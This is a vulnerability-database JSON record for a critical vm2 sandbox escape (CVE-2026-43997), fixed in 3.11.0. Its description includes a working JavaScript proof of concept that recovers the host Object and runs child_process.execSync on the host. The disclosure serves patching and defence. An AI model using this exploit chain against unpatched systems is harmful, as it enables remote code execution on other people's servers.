{"id":"GHSA-47x8-96vw-5wg6","revision":"2565040c5aa94971bd110c7f4309d50d","records":[{"revision":"2565040c5aa94971bd110c7f4309d50d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-47x8-96vw-5wg6","aliases":["CVE-2026-43997"],"title":"vm2 Access to Host Object Enables Sandbox Escape","description":"### Summary\n\nIt is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.\n\n### Details\n\nThere are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`\n\n### PoC\n\n```js\nconst g = {}.__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, ['__proto__']]);\nconst o = p.call(p.call(a));\nconst HObject = o.constructor;\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\nconst obj = {\n\t[sym]: (depth, opt, inspect) => {\n\t\tinspect.constructor(\"return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})\")();\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() => {});\n```\n\n### Impact\n\nSandbox Escape -> RCE","state":0,"publishedAt":"2026-05-07T04:00:19+00:00","modifiedAt":"2026-05-14T20:47:29.697869+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6","https://nvd.nist.gov/vuln/detail/CVE-2026-43997","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.0"],"sourceUrl":"https://github.com/advisories/GHSA-47x8-96vw-5wg6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-47x8-96vw-5wg6","identifiers":["GHSA-47x8-96vw-5wg6","CVE-2026-43997"]},"retained":false,"historicalAffected":[]}],"coverage":[]}